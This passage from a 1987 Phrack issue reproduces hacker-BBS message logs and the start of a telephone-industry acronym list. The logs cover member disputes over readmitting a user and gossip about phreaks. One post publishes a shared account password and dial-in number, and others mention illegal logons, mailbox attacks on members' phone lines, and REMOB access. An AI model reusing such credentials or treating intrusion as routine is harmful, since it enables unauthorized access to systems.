The user must be experienced in some manner or have a good general knowledge of telecommunications. If you wish for someone to get access here, have them make out an application for themselves, get it from them, and then upload it to the D: drive on the AE and I'll put it up as a message.

We shall wait until Galactus shows himself more worthy of being on the board. Now we come to the problem with Solid State. He was kicked off not too long ago but he wants back on (I guess). One way or another, he said he'd be writing up "his side" of the story so at least we'll all get to hear what he has to say for himself. Life is a bitch...

‑TK

33/46: well...

Name: <<< Sir Francis Drake 56 >>>

Date: 7:01 pm Fri May 22, 1987

just to get my remarks in early...Iv talked to State & Stan about it and I think State should be let back on.

He was kicked off because he SUPPOSEDLY read msgs to/gave his pswd to Stanly. Now this info mainly came from Stan who would claim that he used states password "all the time". Now since, stan is such a notorious liar the whole thing is obviously questionable.

Now another main complaint (from what ive gathered talking to KL) is that State would not tell TK/KL how Stan gets on MSP even though State apparently knows. This may sound sorta lame, but if State starts telling on stan he wont be trusted, and it would be lame of him.

So it would seem that as long as State does not further help stand (which is EXTRENELY unlikely even if he ever did) Stan he should be let back on as he was/will be a "valuable user".

so there.

sfd

34/46: Wrong...

Name: <<< Taran King 1 >>>

Date: 7:10 pm Fri May 22, 1987

I don't want to start a debate because Craig's gonna be here real soon preaching about everything but I'd just like to have it stated that I've got a neutral 3rd party that was on a conversation between Stan and Nate where Nate was reading posts from MSP, which I had previously told him was grounds for deletion from MSP if he read them to Stan. Thank you and here's my address ‑TK

35/46: Preech!

Name: <<< Knight Lightning 2 >>>

Date: 11:58 pm Sat May 23, 1987

This is true. In OQ's own word's "Nate is my partner in crime." Now perhaps you may call OQ a liar or say he is bluffing, but their friendship exists for better or for worse. Now both OQ and SS claim to have at least 3 or more accounts on here anyway and Stan would like his own account to post with as well (yeah yeah, why'd you even mention it KL, it'll never happen). As good a hacker that State is, I am not convinced that he should be trusted in any aspect towards the system especially since he has aided succesful attempts to breech its security. I mean, thats just the way it is, nothing seems to ever change, etc.

One other thing to mention, its not like we "owe" anyone an account and although I suppose I have a lot of pull, Taran King will have the final say.

:Knight Lightning

36/46: Solid S.

Name: <<< The Sensei 18 >>>

Date: 7:25 am Sun May 24, 1987

I don't know Solid too good....just that he's one a specific system 24hrs a day, it seems. I think he's just a modem kid out for a fun ride.

Let'em cool for a year. You can't blame a guy for hacking ANY system though. I'm split.

Ts

37/46: s. state

Name: <<< The Leftist 71 >>>

Date: 4:38 pm Mon May 25, 1987

Solid State in my opinion is a dick, and shouldnt be let on any system, much less this one..

38/46: Nate

Name: <<< The Executioner 19 >>>

Date: 9:50 pm Tue May 26, 1987

Anyone ever look up the word "Nate" in the dictionary???

It means...

"VArious forms of semi‑aquatic salamanders"

OOOOPS! That's Newt, I mean Lock Lifter.....eeeek!!

Nate ‑ The skin that stretches from the opening of an anal cavity to the base of the penis.

Enough said....

39/46: Nates

Name: <<< Mad Hatter 51 >>>

Date: 10:45 pm Sat May 30, 1987

Nates ‑ (N) The buttocks

from Webster's 20,000 word dictionary. Where did you get your definition?

40/46: FRED FROM RCMAC

Name: <<< Icarus 15 >>>

Date: 3:29 am Sun May 31, 1987

This is the handle of someone who claims he is in LOD.

Well, Lex, is he?

41/46: HAhaahahahahaha

Name: <<< Control C 8 >>>

Date: 10:04 am Sun May 31, 1987

Who told you that?? Fred From RCmac hahahahah!!!

While I'm here anybody know about the new switching system called ADDR ESS? I here it's mor advanced then DMS‑300.

GEORGE FROM MMOC

LOD/H

42/46: Fred from Rcmac

Name: <<< The Executioner 19 >>>

Date: 4:17 pm Sun May 31, 1987

I saw him on Digital Logic's BBS. He didnt show much of anything...

43/46: Fred from Rc‑Mac

Name: <<< Control C 8 >>>

Date: 9:47 pm Sun May 31, 1987

Fred is Phiber Optic who is Public Enemy 1 who is Ilduce (the biggest luzer in the world).. He disn't know shit about shit!

44/46: Phiber Optic.....

Name: <<< The Disk Jockey 13 >>>

Date: 12:55 am Mon Jun 01, 1987

.....claimed on Atlantis that he can get you the REMOB number for your local CO by simpley leaving him your NPA+PRE....he also says that there is a "REMOB OR FORTELL" for EVERY CO.

‑The Disk Jockey

45/46: Well....

Name: <<< The Executioner 19 >>>

Date: 8:11 am Mon Jun 01, 1987

The Royal Court

==Phrack Inc.==

Volume Two, Issue 20, File 10 of 12

Metal Shop Private's ‑‑ Royal Court

~~~~~~~~~~~~~~~~~~

The Royal Court was an idea of Knight Lightning's who ran the subboard. It was sort of like an "elite" subboard for people who he liked and thought knew a bit to contribute to the subboard's conversation. Many of the messages here were deleted because of the "date‑to‑deletion" feature of the board and having most of the messages that filled this subboard being clustered in one period a while ago.

1/6: 201 DDial...

Name: Taran King 1

Date: 9:17 pm Sun Apr 26, 1987

For those who were using that Flash‑Talk Diversi‑Dial that Sluggo supplied, the account password changed...It is now 112 611 165 and the phone number is still 201‑743‑4850. Sort of something to do with your absolutely‑nothing‑to ‑do‑time. Later

‑TK

2/6: Back Again.

Name: High Evolutionary 28

Date: 1:08 am Thu Apr 30, 1987

Hello, Isn't it funny.. I plan to call boards again and again because I get a little free time on my hands. But then, when I start, something else comes up. I should stop babbling.. I am probably boooring you.

For apparent lack of discussion here, could someone maybe fill me in on what has been happening lately in the phreak/hack society? I've yet to get the past few PWNs.

‑High Evolutionary

‑Tok

3/6: High

Name: Knight Lightning 2

Date: 7:06 pm Thu Apr 30, 1987

In general, SummerCon is the big thing that people are talking about. There is also some new disputes and controversy about the return of Oryan Quest and his "supposed" running away from home.

:Knight Lightning

4/6: Ah..

Name: High Evolutionary 28

Date: 11:58 pm Fri May 01, 1987

KL, I've also heard that some serious wars are being waged w/ OQ or something to that extent...Mind explaining it to me?

Evolutionary

5/6: Wars?

Name: Knight Lightning 2

Date: 10:20 am Sat May 02, 1987

As far as I know, there are no wars currently in progress but in the past, Oryan QUEST went and did MBs on Doc Holiday, The Executioner, and both of Taran King's phone lines. He has also repeatedly tried to gain illegal access on this system and somehow got Nate to help him do it. Then he has proceeded to harass MSP members about their posts. However, if there is a war, it is one sided because everyone is pretty much ignoring Quest.

Hmm... I wonder why my account had 4 illegal logons...?

:Knight Lightning

6/6: Logons

Name: Taran King 1

Date: 10:29 am Sat May 02, 1987

Those illegal logons that most of you LOD type people will experience when logging on were probably not QUEST. I've got an idea and I suppose most of you might too, but I'm not concerned with it.

‑TK

Post on Royal Court? No

^*

Acronyms

==Phrack Inc.==

Volume Two, Issue 20, File 11 of 12

Metal Shop Private's ‑‑ Acronyms

~~~~~~~~~~~~~~~~~

3ACC 3A Central Control

5XB COER 5 X‑Bar Central Office Equipment Reports system A/D Analog to Digital

AAX Automated Attendant eXchange

ABATS Automatic Bit Access Test System

ABHC Average Busy Hour Calls

ABS Alternative Billing Service

ABSBH Average Busy Season Busy Hour

ACB Annoyance Call Bureau

ACC Audio Communications Controller

ACCS Automated Calling Card Service

ACD Automatic Call Distributor

ACDA Automatic Call Disposition Analyzer ACE Automatic Calling Equipment

ACF Advanced Communications Functions

ACH Attempt per Circuit per Hour

ACOF Attendant Control Of Facilities

ACP ACtion Point

ACSNET Acedemic Computing Services NETwork ACSU Advanced t‑1 Channel Service Unit

ACTS Automated Coin Toll Service

ACU Alarm Control Unit

ACU Automatic Calling Unit

ADCCP Advanced Data Communications Control Procedure ADCI Automatic Display Call Indicator

ADN Abbreviated Dialing Number

ADS Advanced Digital System

ADS Audio Distribution System

ADS Auxilary Data System

AFACTS Automatic FACilities Test System AFADS Automatic Force Adjustment Data System AFSK Automatic Frequency Shift Keying

AIC Automatic Intercept Center

AICC Automatic Intercept Communications Controller AIOD Automatic Identificated Outward Dialing AIS Automatic Intercept System

ALBO Automatic Line BuildOut

ALFE Analog Line Front End

ALGOL ALGOrhythmic computer Language

ALI Automatic Location Indentification

ALIT Automatic Line Insulation Testing

ALRU Automatic Line Record Update

ALS Automated List Service

AM Administrative Module

AM Amplitude Modulation

AMA Automatic Message Accounting

AMACS AMA Collection System

AMARC AMA Recording Center

AMASE AMA Standard Entry

AMAT AMA Transmitter

AMATPS AMA TeleProcessing System

AMERITECH AMERican Information TECHnologies AMPS Advanced Mobile Phone Service

AN Associated Number

ANA Automatic Number Announcement

ANC All Number Calling

ANI Automatic Number Identification

ANIF Automatic Number Identification Failure ANSI American National Standards Institute AOSS Auxilliary Operator Service System

AP Attached Processor

APC AMARC Protocol Converter

APS Automatic Protection Switch

AR Alarm Report

ARC Audio Response Controller

ARIS Audichron Recorded Information System ARS Alternate Route Selection

ARSB Automated Repair Service Bureau

ARU Audio Response Unit

ASCII American Standard Code for Information Interchange ASOC Administrative Service Oversight Center

ASPEN Automatic System for Performance Evaluation of the Network AT Access Tandem

AT&T American Telephone and Telegraph

ATB All Trunks Busy

ATC Automatic Transmission Control

ATH Abbreviated Trouble History

ATI Automatic Test Inhibit

ATIS Automatic Transmitter Identification System ATM Automatic Teller Machine

ATMS Automated Trunk Measurement System

ATP All Tests Pass

ATR Alternate Trunk Routing

ATRS Automated Trouble Reporting System

ATTC Automatic Transmission Test and Control circuit ATTCOM AT&T COMmunications

ATTIS AT&T Information System

AUDIX AUDio Information eXchange

AUTODIN AUTOmatic DIgital Network

AUTOSEVCOM AUTOmatic SEcure Voice COMmunications AUTOVON AUTOmatic VOice Network

AUXF AUXillary Frame

AVD Alternate Voice Data

B6ZS Bipolar with 6 Zero Subsitution

B911 Basic 911

BAMAF BELLCORE AMA Format

BANCS Bell Administrative Network Communications System BAPCO Bellsouth Advertising & Publishing COmpany BCC Blocked Call Cleared

BCD Binary Coded Decimal

BCD Blocked Call Delayed

BCS Batch Change Supplement

BDT Billing Data Transmitter

BEF Band Elimination Filter

BELLCORE BELL COmmunications REsearch

BER Bit Error Rate

BERT Bit Error Rate Test

BETRS Basic Exchange Telecommunications Radio Service BHC Busy Hour Calls

BISP Business Information System Program

BITNET Because‑It's‑Time NETwork

BL/DS Busy Line/Don't Answer

BLF Busy Line Field

BLS Business Listing Service

BLV Busy Line Verification

BNS Billed Number Screening

BOC Bell Operating Company

BOR Basic Output Report

BORSCHT Battery, Overvoltage, Ringing, Supervision, Coding, Hybrid Test ing

BOS Business Office Supervisor

BOSS Billing and Order Support System

BOT Beginning Of Tape

BPI Bits Per Inch

BPOC Bell Point Of Contact

BPS Bits Per Second

BPSS Basic Packet‑Switching Service

BRAT Business Residence Account Tracking system

BRCS Business Residence Custom Service

BRI Basic Rate Interface

BRM Basic Remote Module

BS Banded Signaling

BSA Basic Serving Arrangements

BSBH Busy Season Busy Hour

BSC Business Service Center

BSCM BiSynchronous Communications Module

BSE Basic Service Elements

BSF Bell Shock Force

BSOC Bell Systems Operating Company

BSP Bell System Practice

BSRFS Bell System Reference Frequency Standard

BST Basic Services Terminal

BSTJ Bell System Technical Journal

BT Bus Terminator

BTAM Basic Telecommunications Access Message

BTL Bell Telephone Laboratories

BTN Billing Telephone Number

BTU British Thermal Unit

BVA Billing Validation Application

BVC Billing Validation Center

BWM Broadcast Warning Message

BWT Broadcast Warning TWX

BWTS BandWidth Test Set

CA CAble

CABS Carrier Access Billing System

CAC Calling‑card Authorization Center

CAC Carrier Access Code

CAC Circuit Administration Center

CAC Customer Administration Center

CAD Computer‑Aided Dispatch

CADV Combined Alternate Data/Voice

CAI Call Assembly Index

CAIS Colocated Automatic Intercept System

CALRS Centralized Automatic Loop Reporting System

CAMA Centralized Automatic Message Accounting

CAROT Centralized Automatic Reporting On Trunks

CAS Circuit Associated Signaling

CAS Computerized Autodial System

CAT Craft Access Terminal

CATLAS Centralized Automatic Trouble Locating and Analysis System CBS CrossBar Switching

CBX Computerized Branch eXchange

CC Central Control

CC Common Control

CC Country Code

CCC Central Control Complex

CCC Computer Control Center

CCH Connections per Circuit per Hour

CCIR Comite' Consultatif International des Radio Communications CCIS Common Channel Interoffice Signaling

CCITT Comite' Consultatif International Telegraphique et Telephonique CCNC Common Channel Network Controller

CCNC Computer/Communications Network Center

CCR Customer‑Controlled Reconfiguration

CCS Common Channel Signaling

CCS Hundred (C) Call Seconds

CCSA Common‑Control Switching Arrangement

CCT Central Control Terminal

CCTAC Computer Communications Trouble Analysis Center

CCU COLT Computer Unit

CCV Calling Card Validation

CDA Call Data Accumulator

CDA Coin Detection and Announcement

CDAR Customer Dialed Account Recording

CDCF Cumulative Discounted Cash Flow

CDF Combined Distributing Frame

CDI Circle Digit Identification

CDO Community Dial Office

CDPR Customer Dial Pulse Receiver

CDR Call Dial Rerouting

CDS Craft Dispatch System

CEF Cable Entrance Facility

CEI Comparably Efficient Interconnection

CEV Controlled Environment Vault

CF Coin First

CFCA Communications Fraud Control Association

CFR Code of Federal Regulations

CGN Concentrator Group Number

CIC Carrier Identification Code

CICS Customer Information Control System

CII Call Identity Index

CIS Customized Intercept Service

CLASS Centralized Local Area Selective Signaling

CLASS Custom Local Area Signaling Service

CLDN Calling Line Directory Number

CLEI Common‑Language Equipment Identification

CLI Calling Line Ident

CLID Calling Line IDentification

CLLI Common‑Language Location Identification

CMAC Centralized Maintenance and Administration Center

CMC Construction Maintenance Center

CMDF Combined Main Distributing Frame

CMDS Centralized Message Data System

CMS Call Management System

CMS Circuit Maintenance System

CMS Communications Management Subsystem

CMS Conversational Monitoring System

CMT Cellular Mobile Telephone

CMU COLT Measurement Unit

CN Change Notice

CN/A Customer Name/Address

CNA Communications Network Application

CNAB Customer Name/Address Bureau

CNCC Customer Network Control Center

CNI Common Network Interface

CNMS Cylink Network Management System

CNS Complimentary Network Service

CO Central Office

COAM Customer Owned And Maintained

COC Circuit Order Control

COCOT Customer‑Owned Coin‑Operated Telephone

CODCF Central Office Data Connecting Facility

CODEC COder‑DECoder

COE Central Office Equipment

COEES COE Engineering System

COLT Central Office Line Tester

COMSAT COMmunications SATellite

CONN CONNector

CONTAC Central Office NeTwork ACcess

CONUS CONtinental United States

CORNET CORperate NETwork

COSMIC COmmon Systems Main InterConnection frame system COSMOS COmputerized System for Mainframe OperationS

COT Central Office Terminal

CP Control Program

CPC Cellular Phone Company

CPC Circuit Provisioning Center

CPD Central Pulse Distributor

CPE Customer‑Premises Equipment

CPH Cost Per Hour

CPI Computer Private branch exchange Interface

CPM Cost Per Minute

CPMP Carrier Performance Measurement Plan

CPU Central Processing Unit

CRAS Cable Repair Administrative System

CRC Customer Record Center

CRC Cyclic Redundancy Check

CREG Concentrated Range Extension with Gain

CRFMP Cable Repair Force Management Plan

CRIS Customer Record Information System

CRS Centralized Results System

CRSAB Centralized Repair Service Answering Bureau

CRT Cathode Ray Tube

CSA Carrier Serving Area

CSACC Customer Service Administration Control Center

CSAR Centralized System for Analysis Reporting

CSC Cell Site Controller

CSDC Circuit Switched Digital Capability

CSNET Computer Science NETwork

CSO Central Services Organization

CSS Computer Sub‑System

CSU Channel Service Unit

CTC Central Test Center

CTM Contac Trunk Module

CTMS Carrier Transmission Measuring System

CTO Call Transfer Outside

CTSS Cray Time Sharing System

CTT Cartridge Tape Transport

CTTC Cartridge Tape Transport Controller

CTTN Cable Trunk Ticket Number

CU Control Unit

CU Customer Unit

CU/TK Common Update/EQuipment system

CUCRIT Capital Utilization CRITeria

CVR Compass Voice Response

CWC City‑Wide Centrex

D/A Digital to Analog

DA Directory Assistance

DACS Digital Access Cross‑connect System

DACS Directory Assistance Charging System

DAIS Distributed Automatic Intercept System

DARC Division Alarm Recording Center

DARU Distributed automatic intercept system Audio Response Unit DAS Directory Assistance System

DAS Distributor And Scanner

DAS‑WDT Distributor And Scanner‑Watch Dog Timer

DASD Direct Access Storage Device

DAV Data Above Voice

DB Decibel

DBA Data Base Administrator

DBAC Data Base Administration Center

DBAS Data Base Administration System

DBM DataBase Manager

DBS Duplex Bus Selector

DCCS DisContiguous Shared Segments

DCE Data Circuit‑terminating Equipment

DCH D Channel Handler

DCL DEC Control Language

DCLU Digital Carrier Line Uint

DCM Digital Carrier Module

DCMS Distributed Call Measurement System

DCMU Digital Concentrator Measurement Unit

DCP Duplex Central Processor

DCPR Detailed Contuing Property Record (PICS/DCPR)

DCPSK Differential Coherent Phase‑Shift Keying

DCS Digital Crosconnect System

DCT Digital Carrier Trunk

DCTN Defense Commercial Telecommunications Network

DCTS Dimension Custom Telephone Service

DDC Direct Department Calling

DDD Direct Distance Dialing

DDN Defense Data Network

DDS Digital Data Service

DDS Digital Data System

DDS Digital Dataphone Service

DDX Distributed Data eXchange

DEC Digital Equipment Corporation

DERP Defective Equipment Replacement Program

DES Data Encryption Standard

DEW Distant Early Warning (line)

DFI Digital Facility Interface

DFMS Digital Facility Management System

DIC Digital Interface Controller

DID Direct Inward Dialing

DIF Digital Interface Frame

DIM Data In the Middle

DIP Dual In‑line Package

DISA Direct Inward System Access

DIU Digital Interface Unit

DLC Digital Loop Carrier

DLCU Digital Line Carrier Unit

DLL Dial Long Lines

DLS Digital Link Service

DLTU Digital Line/Trunk Unit

DLU‑PG Digital Line Unit‑Pair Gain

DM Delta Modulation

DMA Direct Memory Access

DMI Digital Multiplexed Interface

DML Data Manipulation Logic

DMS Data Management System

DMS Digital Multiplexed System

DMU Data Manipulation Unit

DN Directory Number

DNC Dynamic Network Controller

DNHR Dynamic Non Hierarchical Routing

DNIC Data Network Identification Code

DNR Dialed Number Recorder

DNX Dynamic Network X‑connect

DOC Dynamic Overload Control

DOCS Display Operator Console System

DOJ Department Of Justice

DOM Data On Master group

DOTS Digital Office Timing Supply

DOV Data Over Voice

DP Demarcation Point

DP Dial Pulse

DPAC Dedicated Plant Assignment Center

DPC Destination Point Code

DPE Data Path Extender

DPN‑PH Data Packet Network‑Packet Handler

DPP Discounted Payback Period

DPSK Differential Phased‑Shift Keying

DR Data Ready

DR Data Receive

DRMU Digital Remote Measurement Unit

DS Digital carrier Span

DS Digital Signal

DS Direct Signal

DSBAM Double‑SideBand Amplitude Module

DSDC Direct Service Dial Capability

DSI Digital Speech Interpolation

DSN Digital Signal (level) N

DSP Digital Signal Processor

DSR Dynamic Service Register

DSS Data Station Selector

DSU Data Service Unit

DSX Digital System X‑connect

DT Data Transmit

DT Di‑group Terminal

DTAS Digital Test Access System

DTC Di‑group Terminal Controller

DTC Digital Trunk Controller

DTE Data Terminal Equipment

DTF Dial Tone First

DTG Direct Trunk Group

DTIF Digital Transmission Interface Frame

DTMF Dual Tone Multi Frequency

DTU Di‑group Terminal Unit

DUV Data Under Voice

DVX Digital Voice eXchange

E&M rEceive & transMit/Ear & Mouth signaling

E‑COM Electronic Computer Originated Mail

E911 Enhanced 911

EADAS Engineering and Administrative Data Acquisition System EADAS/NM EADAS/Network Management

EAEO Equal Access End Office

EARN European Academic Research Network

EAS Extended Announcement System

EAS Extended Area Service

EASD Equal Access Service Date

EBCDIC Extended Binary Coded Decimal Interexchange Code ECAP Electronic Customer Access Program

ECC Enter Cable Change

ECCS Economic C (hundred) Call Seconds

ECF Enhanced Connectivity Facility

ECPT Electronic Coin Public Telephone

ECS Electronic Crosconnect System

EDAC Electromechanical Digital Adapter Circuit

EDI Electronic Data Interchange

EDP Electronic Data Processing

EDSX Electronic Digital Signal X‑connect

EECT End‑to‑End Call Trace

EEDP Expanded Electronic tandem switching Dialing Plan EEHO Either End Hop Off

EEI Equipment‑to‑Equipment Interface

EFRAP Electronic Feeder Route Analysis Program

EIA Electronics Industries Assotiation

EIS Expanded Inband Signaling

EISS Economic Impact Study System

EKTS Electronic Key Telephone Sets

EML Expected Measured Loss

EMS Expanded Memory Specification

ENFIA Exchange Network Facility for Interstate Access

EO End Office

EOE Electronic Order Exchange

EOS Extended Operating System

EOTT End Office Toll Trunking

EPL Electronic switching system Program Language

EPROM Erasable Programmable Read‑Only Memory

EPSCS Enhanced Private Switched Communication Service

ER Error Register

ERAR Error Return Address Register

EREP Environmental Recording Editing and Printing

ERL Echo Return Loss

ERP Effective Radiated Power

ERU Error Return address Update

ESAC Electronic Surveillance Assistance Center

ESB Emergency Service Bureau

ESF Extended SuperFrame

ESL Emergency Stand‑Alone

ESN Electronic Serial Number

ESN Electronic Switched Network

ESP Enhanced Service Provider

ESS Electronic Switching System

ESSX Electronic Switching Systen eXchange

ETAS Emergency Technical ASsistance

ETF Electronic Toll Fraud

ETN Electronic Tandem Network

ETS Electronic Tandem Switching

ETS Electronic Translation System

ETSACI Electronic Tandem Switching Adminstration Channel Interface ETSSP ETS Status Panel

FA Fuse Alarm

FACS Facilities Assignment and Control System

FAR Federal Acquisition Regulation

FAST First Application System Test

FAT File Allocation Table

FCAP Facility CAPacity

FCC Federal Communications Commission

FCC Forward Command Channel

FCG False Cross or Ground

FCS File Control Systemction

FCS Frame Check Sequence

FDM Frequency‑Division Multiplexing

FDP Field Development Program

FDX Full DupleX

FED Far End Data

FEMF Foreign Electro‑Motive Force

FEPS Facility and Equipment Planning System

FEV Far End Voice

FGA Feature Group A

FGB Feature Group B

FGC Feature Group C

FGD Feature Group D

FIFO First In, First Out

FIOC Frame Input/Output Controller

FIP Facility Interface Processor

FIPS Federal Information Processing Standards

FM Frequency Modulation

FMAC Facility Maintenance And Control

FNPA Foreign Numbering Plan Area

FOC Fiber Optic Communications

FON Fiber Optics Network

FR Flat Rate

FRS Flexible Route Selection

FSK Frequency Shift Keying

FTG Final Trunk Group

FTP File Transfer Protocol

FTS Federal Telecommunications System

FX Foreign eXchange

GBS Group Bridging Service

GCS Group Control System

GEISCO General Electric Information Services COmpany

GHZ GigaHertZ

GID Group ID

GND GrouND

GOS Grade Of Service

GP Group Processor

GPIB General Purpose Interface Bus

GRD GRounD

GRP MOD GRouP MODulator

GSA General Services Administration

GSAT General telephone and electronics SATellite corporation GTC General Telephone Company

GTE General Telephone Electronics

GTT Global Title Transmission

HCSDS High‑Capacity Satellite Digital Service

HCTDS High‑Capacity Terrestrial Digital Service

HDLC High‑level Data Link Control

HDTV High Definition TV

HDX Half DupleX

HEAP Home Energy Assistance Program

HEHO High End Hop Off

HIC Hybrid Integrated Circuit

HNPA Home Numbering Plan Area

HNS Hospitality Network Service

HOBIC HOtel Billing Information Center

HOBIS HOtel Billing Information System

HP Hewlett‑Packard

HPO High Performance Option

HSSDS High‑Speed Switched Digital Service

HU High Usage

HUTG High Usage Trunk Group

HZ HertZ

I&M Installation & Maintenance

I/O Input/Output

IB Instruction Buffer

IBN Integrated Business Network

IC Independent Carrier

IC Inter‑exchange Carrier

IC Inter‑LATA Carrier

ICAN Individual Circuit ANalysis

ICC Interstate Commerce Commission

ICD Interactive Call Distribution

ICLID Individual Calling Line ID

ICM Integrated Call Management

ICSC Inter‑LATA Customer Service Center

IDDD International Direct Distance Dialing

IDF Intermediate Distributing Frame

IDS Internal Directory System

IDVC Integrated Data/Voice Channel

IEEE Institute of Electrical and Electronics Engineers

IF Intermediate Frequency

IFRPS Intercity Facility Relief Planning System

IIN Integrated Information Network

IM Interface Module

IMAS Integrated Mass Announcement System

IMM Input Message Manual

IMT Inter‑Machine Trunk

IMTS Improved Mobile Telephone Service

IN Intelligent Network

INC InterNational Carrier

INL Inter Node Link

INN Inter Node Network

INTELSAT INternational TELecommunications SATellite consortium INWATS INward Wide Area Telephone Service

IO Inward Operator

IOC Input/Output Controller

IOCC International Overseas Completion Center

IOP Input‑Output Processor

IOT Inter‑Office Trunk

IP Information Provider

IPCS Interactive Problem Control System

IPL Initial Program Load

IPLAN Integrated PLanning And Analysis

IPM Impulses Per Minute

IPM Interruptions Per Minute

IPX Integrated Packet eXchange

IRC International Record Carrier

IROR Internal Rate Of Return

IS Interrupt Set

ISC International Switching Center

ISDN Integrated Service Digital Network

ISLM Integrated Services Line Module

ISLU Integrated Services Line Unit

ISN Information Systems Network

ISN Integrated Systems Network

ISO International Organization for Standardization

ISS Integrated Switching System

ISSN Integrated Special Services Network

ISUP Integrated Services User Part

ITS Institute of Telecommunication Science

ITSO Incoming Trunk Service Observation

ITU International Telecommunications Union

IVP Installation Verification Program

IVTS International Video Teleconferencing Service

IX Interactive eXecutive

IXM IntereXchange Mileage

JCL Job Control Language

JES Job Entry System

JIM Job Information Memorandum

JMX Jumbogroup MultipleX

JSN Junction Switch Number

JSW Junctor SWitch

K Kilobit

KBPS KiloBits Per Second

KDT Keyboard Display Terminal

KFT KiloFeeT

KHZ KiloHertZ

KP Key Pulse

KSR Keyboard Send‑Receive

KTS Key Telephone Set

KTS Key Telephone System

LAC Loop Assignment Center

LADT Local Access Data Transport

LAIS Local Automatic Intercept System

LAMA Local Automatic Message Accounting

LAN Local Area Network

LAP Link Access Protocol

LAPD Link Access Procedure on the D channel

LASS Local Area Signaling Service

LATA Local Access and Transport Area

LATIS Loop Activity Tracking Information System

LBO Line Buildout

LBS Load Balance System

LCAMOS Loop CAble Maintenance Operation System

LCCIS Local Common Channel Interoffice Signaling

LCCL Line Card CabLe

LCCLN Line Card Cable Narrative

LCDN Last Called Directory Number

LCIE Lightguide Cable Interconnection Equipment

LCLOC Line Card LOCation

LCN Logical Channel Numbers

LCR Least Cost Routing

LCRMKR Line Card ReMarKs, Retained

LCSE Line Card Service and Equipment

LCSEN Line Card Service and Equipment Narrative

LDMTS Long Distance Message Telecommunications Service LEAS LATA Equal Access System

LEC Local Exchange Carrier

LED Light‑Emitting Diode

LENCL Line Equipment Number CLass

LF Line Finder

LFACS Loop Facilties Assignment And Control System

LIFO Last In, First Out

LLN Line Link Network

LMMS Local Message Metering System

LMOS Loop Maintenace Operations System

LOC Local Operating Company

LOCAP LOw CAPacitance

LOF Lock OFf‑line

LON Lock ON‑line

LPCDF Low Profile Combined Distributing Frame

LRAP Long Route Analysis Program

LRC Longitudal Redundancy Check

LRS Line Repeater Station

LRSS Long Range Switching Studies

LSB Lower Side Band

LSI Large‑Scale Integrated circuitry

LSRP Local Switching Replacement Planning system

LSS Loop Switching System

LSV Line Status Verifier

LTAB Line Test Access Bus

LTC Local Test Cabinet

LTD Local Test Desk

LTF Lightwave Terminating Frame

LTF Line Trunk Frame

LTG Line Trunk Group

LTS Loss Test Set

LXE Lightguide eXpress Entry

M/W MicroWave

MA Maintenance Administrator

MACBS Multi‑Access Cable Billing System

MADN Multiple Access Directory Numbers

MAN Metropolitan Area Network

MAP Maintenance and Administration Position

MAPSS Maintenance & Analysis Plan for Special Services

MAR Microprogram Address Register

MARC Market Analysis of Revenue and Customers system

MAS MAin Store

MAS Mass Announcement System

MASB MAS Bus

MASC MAS Controller

MASM MAS Memory

MATFAP Metropolitan Area Transmission Facility Analysys Program MBPS MegaBits Per Second

MCIAS Multi‑Channel Intelligent Announcement System

MCC Master Control Center

MCCS Mechanized Calling Card Service

MCH Maintenance CHannel

MCHB Maintenance CHannel Buffer

MCI Microwave Communications Incorporated

MCIAS Multi‑Channel Intercept Announcement System

MCN Metropolitan Campus Network

MCS Meeting Communications Service

MCTRAP Mechanized Customer Trouble Report Analysis Plan MDACS Modular Digital Access Control System

MDC Marker Distributor Control

MDC Meridian Digital Centrex

MDF Main Distribution Frame

MDU Marker Decoder Unit

MDX Modular Digital eXchange

MEC Mobile Equipment Console

MELD Mechanized Engineering and Layout for Distributing frames MERS Most Economic Route Selection

MET Multibutton Electronic Telephone

MF Multi Frequency

MFENET Magnetic Fusion Energy NETwork

MFJ Modification of Final Judgement

MFR Multi‑Frequency Receivers

MFT Metallic Facility Terminal

MG MasterGroup

MGT MasterGroup Translator

MHS Message Handling System

MHZ MegaHertZ

MICE Modular Integrated Communications Environment

MIN Mobile Identification Number

MINX Multimedia Information Network eXchange

MIR Micro‑Instruction Register

MIS Management Information System

MISCF MISCellaneous Frame

MITS Microcomputer Interactive Test System

MLC MiniLine Card

MLCD Multi‑Line Call Detail

MLT Mechanized Loop Testing

MMC Minicomputer Maintenance Center

MMGT MultiMasterGroup Translator

MMOC Minicomputer Maintenance Operations Center

MMS Main Memory Status

MMS Memory Management System

MMX Mastergroup MultipleX

MODEM MOdulator‑DEModulator

MOG Minicomputer Operations Group

MOS Metal Oxide Semiconductor

MP Multi‑Processor

MPCH Main Parallel CHannel

MPOW Multiple Purpose Operator Workstation

MPPD Multi‑Purpose Peripheral Device

MRF Maintenance Reset Function

MS Maintenance State

MSC Media Stimulated Calling

MTF Master Test Frame,

MTP Message Transfer Part

MTR Mechanized Time Reporting

MTS Message Telecommunications Service

MTS Message Telephone Service

MTS Mobile Telephone Service

MTSO Mobile Telephone Switching Office

MTU Maintenance Termination Unit

MTU Media Tech Unit

MTX Mobile Telephone eXchange

MU Message Unit

MULDEM MULtiplexer‑DEMultiplexer

MUX MUltipleX

MVP Multiline Variety Package

MVS Multiple Virtual Storage

MW MultiWink

MXU MultipleXer Unit

NA Next Address

NAC Network Administration Center

NAG Network Architecture Group

NAM Number Assignment Module

NAND Not‑AND gate

NAS Numerical and Atmospheric Sciences network

NCC Network Control Center

NCCF Network Communications Control Facility

NCP Network Control Point

NCS National Communications System

NCTE Network Channel‑Terminating Equipment

NDCC Network Data Collection Center

NEBS New Equipment‑Building System

NESAC National Electronic Switching Assistance Center

NEXT Near‑End X‑Talk

NHR Non Hierarchial Routing

NI Network Interface

NM Network Module

NMC Network Management Center

NNX Network Numbering eXchange

NOC Network Operations Center

NOCS Network Operations Center System

NORGEN Network Operations Report GENerator

NOTIS Network Operator Trouble Information System

NPA No Power Alarm

NPA Numbering Plan Area

NPV Net Present Value

NSA National Security Agency

NSC Network Service Center

NSCS Network Service Center System

NSEC Network Switching Engineering Center

NSFNET National Science Foundation NETwork

NSPMP Network Switching Performance Measurement Plan

NT Network Termination

NT Northern Telecom

NTEC Network Technical Equipment Center

NTIA National Telecommunications and Information Agency NTS Network Technical Support

NTS Network Test System

NUA Network User Address

NUI Network User Identification

NYNEX New York, New England and the unknown (X)

O‑LTM Optical Line Terminating Multiplexer

OASYS Office Automation SYStem

OC Operator Centralization

OCC Other Common Carrier

OCE Other Common carrier channel Equipment

OCU Office Channel Unit

ODAC Operations Distribution Administration Center

ODD Operator Distance Dialing

ODDD Operator Direct Distance Dialing

ODS Overhead Data Stream

